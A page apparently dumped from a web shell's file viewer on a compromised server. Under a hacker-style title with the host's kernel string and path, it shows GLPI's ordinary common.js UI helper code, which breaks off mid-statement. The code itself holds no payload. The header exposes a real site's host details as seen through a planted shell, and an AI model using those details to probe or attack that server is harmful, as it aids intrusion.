Ganteng Doang Upload Shell Gak Bisa


Linux server.jmdstrack.com 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
/ home/ jmdstrac/ public_html/ devices/ js/

/home/jmdstrac/public_html/devices/js/common.js

/**
 * ---------------------------------------------------------------------
 *
 * GLPI - Gestionnaire Libre de Parc Informatique
 *
 * http://glpi-project.org
 *
 * @copyright 2015-2023 Teclib' and contributors.
 * @copyright 2003-2014 by the INDEPNET Development Team.
 * @licence   https://www.gnu.org/licenses/gpl-3.0.html
 *
 * ---------------------------------------------------------------------
 *
 * LICENSE
 *
 * This file is part of GLPI.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 *
 * ---------------------------------------------------------------------
 */

/* global bootstrap */
/* global L */
/* global glpi_html_dialog */

var timeoutglobalvar;

/**
 * modifier la propriete display d'un element
 *
 * @param objet
 * @param statut
**/
function setdisplay(objet, statut) {

    var e = objet;
    if (e.style.display != statut) {
        e.style.display = statut;
    }
    return true;
}


/**
 * @param id
**/
function cleandisplay(id) {

    var e = document.getElementById(id);
    if (e) {
        setdisplay(e,'block');
    }
}


/**
 * @param id
**/
function cleanhide(id) {

    var e = document.getElementById(id);
    if (e) {
        setdisplay(e,'none');
    }
}


/**
 * @param Type
 * @param Id
**/
function fillidfield(Type, Id) {
    window.opener.document.forms.helpdeskform.elements.items_id.value = Id;
    window.opener.document.forms.helpdeskform.elements.itemtype.value = Type;
    window.close();
}

/**
 * marks all checkboxes inside the given element
 * the given element is usaly a table or a div containing the table or tables
 *
 * @param    container_id    DOM element
**/
function markCheckboxes(container_id) {

    var checkboxes = document.getElementById(container_id).getElementsByTagName('input');
    for (var j = 0; j < checkboxes.length; j++) {
        var checkbox = checkboxes[j];
        if (checkbox && checkbox.type == 'checkbox') {
            if (checkbox.disabled === false ) {
                checkbox.checked = true;
            }
        }
    }
    return true;
}


/**
 * marks all checkboxes inside the given element
 * the given element is usaly a table or a div containing the table or tables
 *
 * @param    container_id    DOM element
**/
function unMarkCheckboxes(container_id) {

    var checkboxes = document.getElementById(container_id).getElementsByTagName('input');
    for (var j = 0; j < checkboxes.length; j++) {
        var checkbox = checkboxes[j];
        if (checkbox && checkbox.type == 'checkbox') {
            checkbox.checked = false;
        }
    }
    return true;
}


/**
 * display "other" text input field in case of selecting "other" option
 *
 * @since 0.84
 *
 * @param    select_object     DOM select object
 * @param    other_option_name the name of both the option and the text input field
**/
function displayOtherSelectOptions(select_object, other_option_name) {
    if (select_object.options[select_object.selectedIndex].value == other_option_name) {
        document.getElementById(other_option_name).style.display = "inline";
    } else {
        document.getElementById(other_option_name).style.display = "none";
    }
    return true;
}





/**
 * Check all checkboxes inside the given element as the same state as a reference one (toggle this one before)
 * the given element is usaly a table or a div containing the table or tables
 *
 * @param {HTMLElement} reference
 * @param {string} container_id
**/
function checkAsCheckboxes(reference, container_id, checkboxes_selector = 'input[type="checkbox"]') {
    reference = typeof(reference) === 'string' ? document.getElementById(reference) : reference;
    $('#' + container_id + ' ' + checkboxes_selector + ':enabled')
        .prop('checked', $(reference).is(':checked'));

    return true;
}

/**
 * Permit to use Shift key on a group of checkboxes
 * Usage: $form.find('input[type="checkbox"]').shiftSelectable();
 */
$.fn.shiftSelectable = function() {
    var lastChecked;
    var $boxes = this;

    // prevent html selection
    document.onkeydown = function(e) {
        var keyPressed = e.keyCode;
        if (keyPressed == 16) { // shift key
            $('html').addClass('user-select-none');
            document.onkeyup = function() {
                $('html').removeClass('user-select-none');
            };
        }
    };

    $($boxes).parent().click(function(evt) {
        var selected_checkbox = $(this).children('input[type=checkbox]');

        if (!lastChecked) {
            lastChecked = selected_checkbox;
            return;
        }

        if (evt.shiftKey) {
            var start = $boxes.index(selected_checkbox);
            var end = $boxes.index(lastChecked);
            $boxes.slice(Math.min(start, end), Math.max(start, end))
                .prop('checked', $(lastChecked).is(':checked'))
                .trigger('change');
        }

        lastChecked = selected_checkbox;
    });
};


/**
 * safe function to hide an element with a specified id
 *
 * @param id               id of the dive
 * @param img_name         name attribut of the img item
 * @param img_src_close    url of the close img
 * @param img_src_open     url of the open img
**/
function showHideDiv(id, img_name, img_src_close, img_src_open) {
    var _elt = $('#' + id);

    if (img_name !== '') {
        var _awesome = img_src_close.match(/^fa-/);
        var _deco;
        var _img;
        if (!_awesome) {
            _img = $('img[name=' + img_name + ']');
            if (_elt.is(':visible')) {
                _img.attr('src', img_src_close);
            } else {
                _img.attr('src', img_src_open);
            }
        } else {
            _deco = $('#'+img_name);
            if (_elt.is(':visible')) {
                _deco
                    .removeClass(img_src_open)
                    .addClass(img_src_close);
            } else {
                _deco
                    .removeClass(img_src_close)
                    .addClass(img_src_open);
            }
        }
    }

    if (_elt.is(':visible')) {
        _elt.hide();
    } else {
        _elt.show();
    }
}


/**
 * safe function to hide an element with a specified id
 *
 * @param id
 * @param img_name
 * @param img_src_yes
 * @param img_src_no
**/
function toogle(id, img_name, img_src_yes, img_src_no) {

    if (document.getElementById) { // DOM3 = IE5, NS6
        if (document.getElementById(id).value == '0') {
            document.getElementById(id).value = '1';
            if (img_name !== '') {
                document[img_name].src=img_src_yes;
            }
        } else {
            document.getElementById(id).value = '0';
            if (img_name !== '') {
                document[img_name].src=img_src_no;
            }
        }
    }
}


/**
 * @since 0.84
 *
 * @param tbl
 * @param img_name
 * @param img_src_close
 * @param img_src_open
 */
function toggleTableDisplay(tbl, img_name, img_src_close, img_src_open) {

    var tblRows = document.getElementById(tbl).rows;
    for (var i=0; i < tblRows.length; i++) {
        if (tblRows[i].className.indexOf("headerRow") == -1) {
            if (tblRows[i].style.display == 'none') {
                tblRows[i].style.display = "table-row";
                if (img_name !== '') {
                    document[img_name].src = img_src_open;
                }

            } else {
                tblRows[i].style.display = "none";
                if (img_name !== '') {
                    document[img_name].src = img_src_close;
                }
            }
        }
    }
    if (document.getElementById(tbl+'2')) {
        toggleTableDisplay(tbl+'2','');
    }
    if (document.getElementById(tbl+'3')) {
        toggleTableDisplay(tbl+'3','');
    }
    if (document.getElementById(tbl+'4')) {
        toggleTableDisplay(tbl+'4','');
    }
    if (document.getElementById(tbl+'5')) {
        toggleTableDisplay(tbl+'5','');
    }
}


/**
 * @since 0.84
 *
 * @param target
 * @param fields
**/
function submitGetLink(target, fields) {

    var myForm    = document.createElement("form");
    myForm.method = "post";
    myForm.action = target;
    for (var name in fields) {
        var myInput = document.createElement("input");
        myInput.setAttribute("name", name);
        myInput.setAttribute("value", fields[name]);
        myForm.appendChild(myInput);
    }
    document.body.appendChild(myForm);
    myForm.submit();
    document.body.removeChild(myForm);
}


/**
 * @since 0.85
 *
 * @param id
**/
function selectAll(id) {
    var element =$('#'+id);var selected = [];
    element.find('option').each(function(i,e){
        selected[selected.length]=$(e).attr('value');
    });
    element.val(selected);
    element.trigger('change');
}

/**
 * @since 0.85
 *
 * @param id
**/
function deselectAll(id) {
    $('#'+id).val('').trigger('change');
}


/**
 * Set all the checkbox that refere to the criterion
 *
 * @since 0.85
 *
 * @param criterion jquery criterion
 * @param reference the new reference object, boolean, id ... (default toggle)
 *
**/
function massiveUpdateCheckbox(criterion, reference) {
    var value = null;
    if (typeof(reference) == 'boolean') {
        value = reference;
    } else if (typeof(reference) == 'string') {
        value = $('#' + reference).prop('checked');
    } else if (typeof(reference) == 'object') {
        value = $(reference).prop('checked');
    }
    if (typeof(value) == 'undefined') {
        return false;
    }
    $(criterion).each(function() {
        if (typeof(reference) == 'undefined') {
            value = !$(this).prop('checked');
        }
        $(this).prop('checked', value);
    });
    return true;
}

/**
 * Timeline for itiobjects
 */
var filter_timeline = function() {
    $(document).on("click", '.filter_timeline li a', function(event) {
        event.preventDefault();
        var _this = $(this);
        //hide all elements in timeline
        $('.h_item').addClass('h_hidden');

        //reset all elements
        if (_this.data('type') == 'reset') {
            $('.filter_timeline li a').removeClass('h_active');
            $('.h_item').removeClass('h_hidden');
            return;
        }

        //activate clicked element
        _this.toggleClass('h_active');

        //find active classname
        var active_classnames = [];
        $('.filter_timeline .h_active').each(function() {
            active_classnames.push(".h_content."+$(this).data('type'));
        });

        $(active_classnames.join(', ')).each(function(){
            $(this).parent().removeClass('h_hidden');
        });

        //show all items when no active filter
        if (active_classnames.length === 0) {
            $('.h_item').removeClass('h_hidden');
        }
    });
};


var read_more = function() {
    $(document).on("click", ".long_text .read_more a, .long_text .read_more .read_more_button", function() {
        $(this).parents('.long_text').removeClass('long_text');
        $(this).parent('.read_more').remove();
        return false;
    });
};

// Responsive header
if ($(window).width() <= 700) {
    var didScroll;
    var lastScrollTop = 0;
    var delta = 5;
    var navbarHeight = $('header').outerHeight();

    $(window).scroll(function() {
        didScroll = true;
    });

    setInterval(function() {
        if (didScroll) {
            scollHeaderResponsive();
            didScroll = false;
        }
    }, 250);

    var scollHeaderResponsive = function() {
        var st = $(this).scrollTop();

        // Make sure they scroll more than delta
        if (Math.abs(lastScrollTop - st) <= delta) {
            return;
        }

        if (st > lastScrollTop && st > navbarHeight) {
            // Scroll Down
            $('#header').removeClass('nav-down').addClass('nav-up');
        } else {
            // Scroll Up
            if (st + $(window).height() < $(document).height()) {
                $('#header').removeClass('nav-up').addClass('nav-down');
            }
        }
        lastScrollTop = st;
    };
}

var switchFoldMenu = function() {
    $.ajax({
        url: CFG_GLPI.root_doc + '/ajax/switchfoldmenu.php',
        type: 'POST',
        datatype: "json",
        success: function(data) {
            if (data.success === true) {
                $('body').toggleClass('navbar-collapsed');

                var collapsed = $('body').hasClass('navbar-collapsed');

                $('#navbar-menu li.dropdown').toggleClass('dropend');
                $('#navbar-menu .dropdown-menu.animate__animated').toggleClass('animate__animated');

                if (collapsed) {
                    $('#navbar-menu .dropdown-menu, #navbar-menu .nav-link').removeClass('show');
                } else {
                    if ($("#navbar-menu .nav-link.show").length == 0)  {
                        $('#navbar-menu .nav-link.active + .dropdown-menu').addClass('show');
                    }
                }
            }
        }
    });
};

$(function() {
    if ($('html').hasClass('loginpage')) {
        return;
    }

    $("body").delegate('td','mouseover mouseleave', function(e) {
        var col = $(this).closest('tr').children().index($(this));
        var tr = $(this).closest('tr');
        if (!$(this).closest('tr').hasClass('noHover')) {
            if (e.type == 'mouseover') {
                tr.addClass("rowHover");
                // If rowspan
                if (tr.has('td[rowspan]').length === 0) {

                    tr.prevAll('tr:has(td[rowspan]):first').find('td[rowspan]').addClass("rowHover");
                }

                $(this).closest('table').find('tr:not(.noHover) th:nth-child('+(col+1)+')').addClass("headHover");
            } else {
                tr.removeClass("rowHover");
                // remove rowspan
                tr.removeClass("rowHover").prevAll('tr:has(td[rowspan]):first').find('td[rowspan]').removeClass("rowHover");
                $(this).closest('table').find('tr:not(.noHover) th:nth-child('+(col+1)+')').removeClass("headHover");
            }
        }
    });

    $('.reduce-menu').on('click', function(event) {
        event.preventDefault();
        event.stopPropagation();
        switchFoldMenu();
    });

    // ctrl+enter in form textareas (without tinymce)
    $(document).on('keydown', '#page form textarea', function(event) {
        if (event.ctrlKey
          && event.keyCode == 13) {
            submitparentForm($(this));
        }
    });

    // toggle debug panel
    $(document).on('click', '.see_debug', function() {
        $('body > .debug-panel').toggle();
    });
});

/**
 * Trigger submit event for a parent form of passed input dom element
 *
 * @param  Object input the dom or jquery object of input
 * @return bool
 */
var submitparentForm = function(input) {
    // find parent form
    var form = $(input).closest('form');

    // find submit button(s)
    var submit = form.find('[type=submit]').filter('[name=add], [name=update]');

    // trigger if only one submit button
    if (submit.length == 1) {
        return (submit.trigger('click') !== false);
    }

    return false;
};

/**
* Determines if data from drop is an image.
*
* @param      {Blob}   file    The file
* @return     {boolean}  True if image, False otherwise.
*/
var isImage = function(file) {
    var validimagetypes = ["image/gif", "image/jpeg","image/jpg", "image/png"];

    if ($.inArray(file.type, validimagetypes) < 0) {
        return false;
    } else {
        return true;
    }
};

/**
 * Return a png url reprensenting an extension
 *
 * @param  {String} ext the extension
 * @return {string}   an image html tag
 */
var getExtIcon = function(ext) {
    var url = CFG_GLPI.root_doc+'/pics/icones/'+ext+'-dist.png';
    if (!urlExists(url)) {
        url = CFG_GLPI.root_doc+'/pics/icones/defaut-dist.png';
    }

    return '<img src="'+url+'" title="'+ext+'">';
};

/**
 * Check for existence of an url
 *
 * @param  {String} url
 * @return {Bool}
 */
var urlExists = function(url) {
    var exist = false;

    $.ajax({
        'type':    'HEAD',
        'url':     url,
        'async':   false,
        'success': function() {
            exist = true;
        }
    });

    return exist;
};

/**
 * Format a size to the last possible unit (o, Kio, Mio, etc)
 *
 * @param  {integer} size
 * @return {string}  The formated size
 */
var getSize = function (size) {
    var bytes   = ['o', 'Kio', 'Mio', 'Gio', 'Tio'];
    var lastval = '';
    bytes.some(function(val) {
        if (size > 1024) {
            size = size / 1024;
        } else {
            lastval = val;
            return true;
        }
    });

    return Math.round(size * 100, 2) / 100 + lastval;
};

/**
 * Convert a integer index into an excel like alpha index (A, B, ..., AA, AB, ...)
 * @since  9.3
 * @param  integer index    the numeric index
 * @return string           excel like string index
 */
var getBijectiveIndex = function(index) {
    var bij_str = "";
    while (parseInt(index) > 0) {
        index--;
        bij_str = String.fromCharCode("A".charCodeAt(0) + ( index % 26)) + bij_str;
        index /= 26;
    }
    return bij_str;
};

/**
 * Stop propagation and navigation default for the specified event
 */
var stopEvent = function(event) {
    event.preventDefault();
    event.stopPropagation();
};

/**
 * Back to top implementation
 */
if ($('#backtotop').length) {
    var scrollTrigger = 100, // px
        backToTop = function () {
            var scrollTop = $(window).scrollTop();
            if (scrollTop > scrollTrigger) {
                $('#backtotop').addClass('d-md-block');
            } else {
                $('#backtotop').removeClass('d-md-block');
            }
        };
    backToTop();
    $(window).on('scroll', function () {
        backToTop();
    });
    $('#backtotop').on('click', function (e) {
        e.preventDefault();
        $('html,body').animate({
            scrollTop: 0
        }, 700);
    });
}

/**
 * Returns element height, including margins
*/
function _eltRealSize(_elt) {
    var _s = 0;
    _s += _elt.outerHeight();
    _s += parseFloat(_elt.css('margin-top').replace('px', ''));
    _s += parseFloat(_elt.css('margin-bottom').replace('px', ''));
    _s += parseFloat(_elt.css('padding-top').replace('px', ''));
    _s += parseFloat(_elt.css('padding-bottom').replace('px', ''));
    return _s;
}

var initMap = function(parent_elt, map_id, height, initial_view = {position: [0, 0], zoom: 1}) {
    // default parameters
    map_id = (typeof map_id !== 'undefined') ? map_id : 'map';
    height = (typeof height !== 'undefined') ? height : '200px';

    if (height == 'full') {
        var viewport_height = $(window).height();
        var map_position    = $(parent_elt).offset()['top'] + $(parent_elt).outerHeight();
        var newHeight = Math.floor(
            viewport_height
         - map_position
         - 2 // small margin to display the border at the bottom
        );
        var minHeight = 300;
        if (newHeight < minHeight) {
            newHeight = minHeight;
        }
        height = newHeight + 'px';
    }

    //add map, set a default arbitrary location
    parent_elt.append($('<div id="'+map_id+'" style="height: ' + height + '"></div>'));
    var map = L.map(map_id, {fullscreenControl: true}).setView(initial_view.position, initial_view.zoom);

    //setup tiles and © messages
    L.tileLayer('https://{s}.tile.osm.org/{z}/{x}/{y}.png', {
        attribution: '&copy; <a href=\'https://osm.org/copyright\'>OpenStreetMap</a> contributors'
    }).addTo(map);
    return map;
};

var showMapForLocation = function(elt) {
    var _id = $(elt).data('fid');
    var _items_id = $('#' + _id).val();

    if (_items_id == 0) {
        return;
    }

    glpi_html_dialog({
        title: __("Display on map"),
        body: "<div id='location_map_dialog'/>",
        dialogclass: "modal-lg",
        show: function() {
            //add map, set a default arbitrary location
            var map_elt = initMap($('#location_map_dialog'), 'location_map');
            map_elt.spin(true);

            $.ajax({
                dataType: 'json',
                method: 'POST',
                url: CFG_GLPI.root_doc + '/ajax/getMapPoint.php',
                data: {
                    itemtype: 'Location',
                    items_id: $('#' + _id).val()
                }
            }).done(function(data) {
                if (data.success === false) {
                    glpi_html_dialog({
                        body: data.message
                    });
                } else {
                    var _markers = [];
                    var _marker = L.marker([data.lat, data.lng]);
                    _markers.push(_marker);

                    var _group = L.featureGroup(_markers).addTo(map_elt);
                    map_elt.fitBounds(
                        _group.getBounds(), {
                            padding: [50, 50],
                            maxZoom: 10
                        }
                    );
                }
            }).always(function() {
            //hide spinner
                map_elt.spin(false);
            });
        }
    });
};

var query = {};
function markMatch (text, term) {
    // Find where the match is
    var match = text.toUpperCase().indexOf(term.toUpperCase());

    var _result = $('<span></span>');

    // If there is no match, move on
    if (match < 0) {
        _result.append(escapeMarkupText(text));
        return _result.html();
    }

    // Put in whatever text is before the match
    _result.html(escapeMarkupText(text.substring(0, match)));

    // Mark the match
    var _match = $('<span class=\'select2-rendered__match\'></span>');
    _match.html(escapeMarkupText(text.substring(match, match + term.length)));

    // Append the matching text
    _result.append(_match);

    // Put in whatever is after the match
    _result.append(escapeMarkupText(text.substring(match + term.length)));

    return _result.html();
}

/**
 * Function that renders select2 results.
 */
var templateResult = function(result) {
    var _elt = $('<span></span>');
    _elt.attr('title', result.title);

    if (typeof query.term !== 'undefined' && typeof result.rendered_text !== 'undefined') {
        _elt.html(result.rendered_text);
    } else {
        if (!result.text) {
            return null;
        }

        var text = result.text;
        if (!result.id) {
            // If result has no id, then it is used as an optgroup and is not used for matches
            _elt.html(escapeMarkupText(text));
            return _elt;
        }

        var _term = query.term || '';
        var markup = markMatch(text, _term);

        if (result.level) {
            var a='';
            var i=result.level;
            while (i>1) {
                a = a+'&nbsp;&nbsp;&nbsp;';
                i=i-1;
            }
            _elt.html(a+'&raquo;'+markup);
        } else {
            _elt.html(markup);
        }
    }

    return _elt;
};

// delay function who reinit timer on each call
var typewatch = (function(){
    var timer = 0;
    return function(callback, ms){
        clearTimeout (timer);
        timer = setTimeout(callback, ms);
    };
})();

/**
 * Function that renders select2 selections.
 */
var templateSelection = function (selection) {
    var text = '';
    if (!("element" in selection)) {
        text = selection.text;
    } else if (Object.prototype.hasOwnProperty.call(selection, 'selection_text')) {
        // Data generated by ajax containing 'selection_text'
        text = selection.selection_text;
    } else if (selection.element.parentElement.nodeName == 'OPTGROUP') {
        // Data generated with optgroups
        text = selection.element.parentElement.getAttribute('label') + ' - ' + selection.text;
    } else {
        // Default text
        text = selection.text;
    }
    var _elt = $('<span></span>');
    _elt.html(escapeMarkupText(text));
    return _elt;
};

var templateItilStatus = function(option) {
    if (option === false) {
        // Option is false when element does not match searched terms
        return null;
    }
    var status = option.id || 0;

    var classes = "";
    switch (parseInt(status)) {
        case 1 :
            classes = 'new fas fa-circle';
            break;
        case 2 :
            classes = 'assigned far fa-circle';
            break;
        case 3 :
            classes = 'planned far fa-calendar';
            break;
        case 4 :
            classes = 'waiting fas fa-circle';
            break;
        case 5 :
            classes = 'solved far fa-circle';
            break;
        case 6 :
            classes = 'closed fas fa-circle';
            break;
        case 7:
            classes = 'accepted fas fa-check-circle';
            break;
        case 8 :
            classes = 'observe fas fa-eye';
            break;
        case 9 :
            classes = 'eval far fa-circle';
            break;
        case 10 :
            classes = 'approval fas fa-question-circle';
            break;
        case 11 :
            classes = 'test fas fa-question-circle';
            break;
        case 12 :
            classes = 'qualif far fa-circle';
            break;
        case 13 :
            classes = 'refused far fa-times-circle';
            break;
        case 14 :
            classes = 'canceled fas fa-ban';
            break;
    }

    return $(`<span><i class="itilstatus ${classes}"></i> ${option.text}</span>`);
};

var templateValidation = function(option) {
    if (option === false) {
        // Option is false when element does not match searched terms
        return null;
    }

    var status = option.id || 0;

    var classes = "";
    switch (parseInt(status)) {
        case 2 : // WAITING
            classes = 'waiting far fa-clock';
            break;
        case 3 : // ACCEPTED
            classes = 'accepted fas fa-check';
            break;
        case 4 : // REFUSED
            classes = 'refused fas fa-times';
            break;
    }

    return $(`<span><i class="validationstatus ${classes}"></i> ${option.text}</span>`);
};

var templateItilPriority = function(option) {
    if (option === false) {
        // Option is false when element does not match searched terms
        return null;
    }

    var priority = option.id || 0;
    var priority_color = CFG_GLPI['priority_'+priority] || "";
    var color_badge = "";

    if (priority_color.length > 0) {
        color_badge += `<i class='fas fa-circle' style='color: ${priority_color}'></i>`;
    }

    return $(`<span>${color_badge}&nbsp;${option.text}</span>`);
};

/**
 * Returns given text without is diacritical marks.
 *
 * @param {string} text
 *
 * @return {string}
 */
var getTextWithoutDiacriticalMarks = function (text) {
    // Normalizing to NFD Unicode normal form decomposes combined graphemes
    // into the combination of simple ones. The "è" becomes "e + ̀`".
    text = text.normalize('NFD');

    // The U+0300 -> U+036F range corresponds to diacritical chars.
    // They are removed to keep only chars without their diacritical mark.
    return text.replace(/[\u0300-\u036f]/g, '');
};

/**
 * Escape markup in text to prevent XSS.
 *
 * @param {string} text
 *
 * @return {string}
 */
var escapeMarkupText = function (text) {
    if (typeof(text) !== 'string') {
        return text;
    }
    if (text.indexOf('>') !== -1 || text.indexOf('<') !== -1) {
        // escape text, if it contains chevrons (can already be escaped prior to this point :/)
        text = jQuery.fn.select2.defaults.defaults.escapeMarkup(text);
    }
    return text;
};

/**
 * Updates an accessible progress bar title and foreground width.
 * @since 9.5.0
 * @param progressid ID of the progress bar
 * @return void
 */
function updateProgress(progressid) {
    var progress = $("progress#progress"+progressid).first();
    $("div[data-progressid='"+progressid+"']").each(function(i, item) {
        var j_item = $(item);
        var fg = j_item.find(".progress-fg").first();
        var calcWidth = (progress.attr('value') / progress.attr('max')) * 100;
        fg.width(calcWidth+'%');
        if (j_item.data('append-percent') === 1) {
            var new_title = (j_item.prop('title').replace(new RegExp("\\d*%$"), progress.attr('value')+'%')).trim();
            progress.prop('title', new_title);
            j_item.prop('title', new_title);
        }
    });
}

/**
 * Get RGB object from an hexadecimal color code
 *
 * @param {*} hex
 * @returns {Object} {r, g, b}
 */
function hexToRgb(hex) {
    var result = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(hex);
    return result ? {
        r: parseInt(result[1], 16),
        g: parseInt(result[2], 16),
        b: parseInt(result[3], 16)
    } : null;
}

/**
 * Get luminance for a color
 * https://www.w3.org/TR/2008/REC-WCAG20-20081211/#relativeluminancedef
 *
 * @param {Array} rgb [r, g, b] array
 * @returns {Number}
 */
function luminance(rgb) {
    var a = rgb.map(function (v) {
        v /= 255;
        return v <= 0.03928
            ? v / 12.92
            : Math.pow( (v + 0.055) / 1.055, 2.4 );
    });
    return a[0] * 0.2126 + a[1] * 0.7152 + a[2] * 0.0722;
}

/**
 * Get contrast ratio between two colors
 * https://www.w3.org/TR/2008/REC-WCAG20-20081211/#contrast-ratiodef
 *
 * @param {Array} rgb1 [r, g, b] array
 * @param {Array} rgb2 [r, g, b] array
 * @returns {Number}
 */
function contrast(rgb1, rgb2) {
    return (luminance(rgb1) + 0.05) / (luminance(rgb2) + 0.05);
}

// fullscreen api
function GoInFullscreen(element) {
    if (element.requestFullscreen) {
        element.requestFullscreen();
    } else if (element.mozRequestFullScreen) {
        element.mozRequestFullScreen();
    } else if (element.webkitRequestFullscreen) {
        element.webkitRequestFullscreen();
    } else if (element.msRequestFullscreen) {
        element.msRequestFullscreen();
    }
}

function GoOutFullscreen() {
    if (document.exitFullscreen) {
        document.exitFullscreen();
    } else if (document.mozCancelFullScreen) {
        document.mozCancelFullScreen();
    } else if (document.webkitExitFullscreen) {
        document.webkitExitFullscreen();
    } else if (document.msExitFullscreen) {
        document.msExitFullscreen();
    }
}

function getUuidV4() {
    return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
        var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8);
        return v.toString(16);
    });
}

/** Track input changes and warn the user of unsaved changes if they try to navigate away */
window.glpiUnsavedFormChanges = false;
$(document).ready(function() {
    // Forms must have the data-track-changes attribute set to true.
    // Form fields may have their data-track-changes attribute set to empty (false) to override the tracking on that input.
    $(document).on('input', 'form[data-track-changes="true"] input:not([data-track-changes=""]),' +
      'form[data-track-changes="true"] textarea:not([data-track-changes="false"])', function() {
        window.glpiUnsavedFormChanges = true;
    });
    $(document).on('change', 'form[data-track-changes="true"] select:not([data-track-changes=""])', function() {
        window.glpiUnsavedFormChanges = true;
    });
    $(window).on('beforeunload', function(e) {
        if (window.glpiUnsavedFormChanges) {
            e.preventDefault();
            // All supported browsers will show a localized message
            return '';
        }
    });

    $(document).on('submit', 'form', function() {
        window.glpiUnsavedFormChanges = false;
    });
});

function onTinyMCEChange(e) {
    var editor = $(e.target)[0];
    if ($(editor.targetElm).data('trackChanges') !== false) {
        if ($(editor.formElement).data('trackChanges') === true) {
            window.glpiUnsavedFormChanges = true;
        }
    }
}

function relativeDate(str) {
    var s = ( +new Date() - Date.parse(str) ) / 1e3,
        m = s / 60,
        h = m / 60,
        d = h / 24,
        y = d / 365.242199,
        tmp;

    return (tmp = Math.round(s)) === 1 ? __('just now')
        : m < 1.01 ? '%s seconds ago'.replace('%s', tmp)
            : (tmp = Math.round(m)) === 1 ? __('a minute ago')
                : h < 1.01 ? '%s minutes ago'.replace('%s', tmp)
                    : (tmp = Math.round(h)) === 1 ? __('an hour ago')
                        : d < 1.01 ? '%s hours ago'.replace('%s', tmp)
                            : (tmp = Math.round(d)) === 1 ? __('yesterday')
                                : y < 1.01 ? '%s days ago'.replace('%s', tmp)
                                    : (tmp = Math.round(y)) === 1 ? __('a year ago')
                                        : '%s years ago'.replace('%s', tmp);
}

/**
 * Special case as both "English" and "English (US)" use the same locale for
 * flatpickr but should have different first day of week.
 * We must manually set firstDayOfWeek for "English"
 *
 * @param {String} language
 * @param {String} region
 * @returns
 */
function getFlatPickerLocale(language, region) {
    if (language == "en" && region == "GB") {
        return {
            firstDayOfWeek: 1 // No need to specify locale code, default is english
        };
    } else {
        return language;
    }
}

/**
 *
 * @param {string|Array<string>} dropdown_ids
 * @param {string} target
 * @param {string} url
 * @param {{}} params
 * @param {Array<string>} events
 * @param {number} min_size
 * @param {number} buffer_time
 * @param {Array<string>} force_load_for
 */
function updateItemOnEvent(dropdown_ids, target, url, params = {}, events = ['change'],
   min_size = -1, buffer_time = -1, force_load_for = []) { // eslint-disable-line

    if (!Array.isArray(dropdown_ids)) {
        dropdown_ids = [dropdown_ids];
    }
    const zones = dropdown_ids;
    $(zones).each((i, zone) => {
        $(events).each((i2, event) => {
            //TODO Manage buffer time

            const cleaned_zone_id = zone.replace('[', '_').replace(']', '_');
            const zone_obj = $(`#${cleaned_zone_id}`);

            zone_obj.on(event, () => {
                const conditional = (min_size >= 0 || force_load_for.length > 0);
                const min_size_condition = (min_size >= 0 && zone_obj.val().length() >= min_size);
                const force_load_condition = (force_load_for.length > 0 && force_load_for.includes(zone_obj.val()));

                const doLoad = () => {
                    // Resolve params to another array to avoid overriding dynamic params like "__VALUE__"
                    let resolved_params = {};
                    $.each(params, (k, v) => {
                        if (typeof v === "string") {
                            const reqs = v.match(/^__VALUE(\d+)__$/);
                            if (reqs !== null) {
                                resolved_params[k] = $('#'+dropdown_ids[reqs[0]]).val();
                            } else if (v === '__VALUE__') {
                                resolved_params[k] = $('#'+dropdown_ids[0]).val();
                            } else {
                                resolved_params[k] = v;
                            }
                        } else {
                            resolved_params[k] = v;
                        }
                    });
                    $(target).load(url, resolved_params);
                };
                if (conditional && (min_size_condition || force_load_condition)) {
                    doLoad();
                } else if (!conditional) {
                    doLoad();
                }
            });
        });
    });
}

function updateItemOnSelectEvent(dropdown_ids, target, url, params = {}) {
    updateItemOnEvent(dropdown_ids, target, url, params, ['change'], -1, -1, []);
}

/**
 * Initialize tooltips on given container.
 *
 * @param {Node} [container=document]
 *
 * @returns {void}
 */
function initTooltips(container) {
    if (container === undefined) {
        container = document;
    }

    const tooltipNodes = container.querySelectorAll('[data-bs-toggle="tooltip"]:not([data-bs-original-title])');
    tooltipNodes.forEach(
        function(tooltipNode) {
            const options = {
                delay: {show: 50, hide: 50},
                html: tooltipNode.hasAttribute("data-bs-html") ? tooltipNode.getAttribute("data-bs-html") === "true" : false,
                placement: tooltipNode.hasAttribute("data-bs-placement") ? tooltipNode.getAttribute('data-bs-placement') : 'auto',
                trigger : tooltipNode.hasAttribute("data-bs-trigger") ? tooltipNode.getAttribute("data-bs-trigger") : "hover",
            };
            return new bootstrap.Tooltip(tooltipNode, options);
        }
    );

    const popoverNodes = container.querySelectorAll('[data-bs-toggle="popover"]:not([data-bs-original-title])');
    popoverNodes.forEach(
        function(popoverNode) {
            const options = {
                delay: {show: 50, hide: 50},
                html: popoverNode.hasAttribute("data-bs-html") ? popoverNode.getAttribute("data-bs-html") === "true" : false,
                placement: popoverNode.hasAttribute("data-bs-placement") ? popoverNode.getAttribute('data-bs-placement') : 'auto',
                trigger : popoverNode.hasAttribute("data-bs-trigger") ? popoverNode.getAttribute("data-bs-trigger") : "hover",
                sanitize : popoverNode.hasAttribute("data-bs-sanitize") ? popoverNode.getAttribute("data-bs-sanitize") === "true" : true,
            };
            return new bootstrap.Popover(popoverNode, options);
        }
    );
}

/*
 * Sends the CSRF token in ajax POST requests headers.
 */
$(document).ajaxSend(
    function(event, xhr, settings) {
        if (settings.type !== 'POST') {
            return;
        }

        xhr.setRequestHeader('X-Glpi-Csrf-Token', getAjaxCsrfToken());
    }
);

/**
 * Returns CSRF token that can be used for AJAX requests.
 *
 * @returns {string|null}
 */
function getAjaxCsrfToken() {
    const meta  = document.querySelector('meta[property="glpi:csrf_token"]');
    return meta !== null ? meta.getAttribute('content') : null;
}

// init tooltips
$(
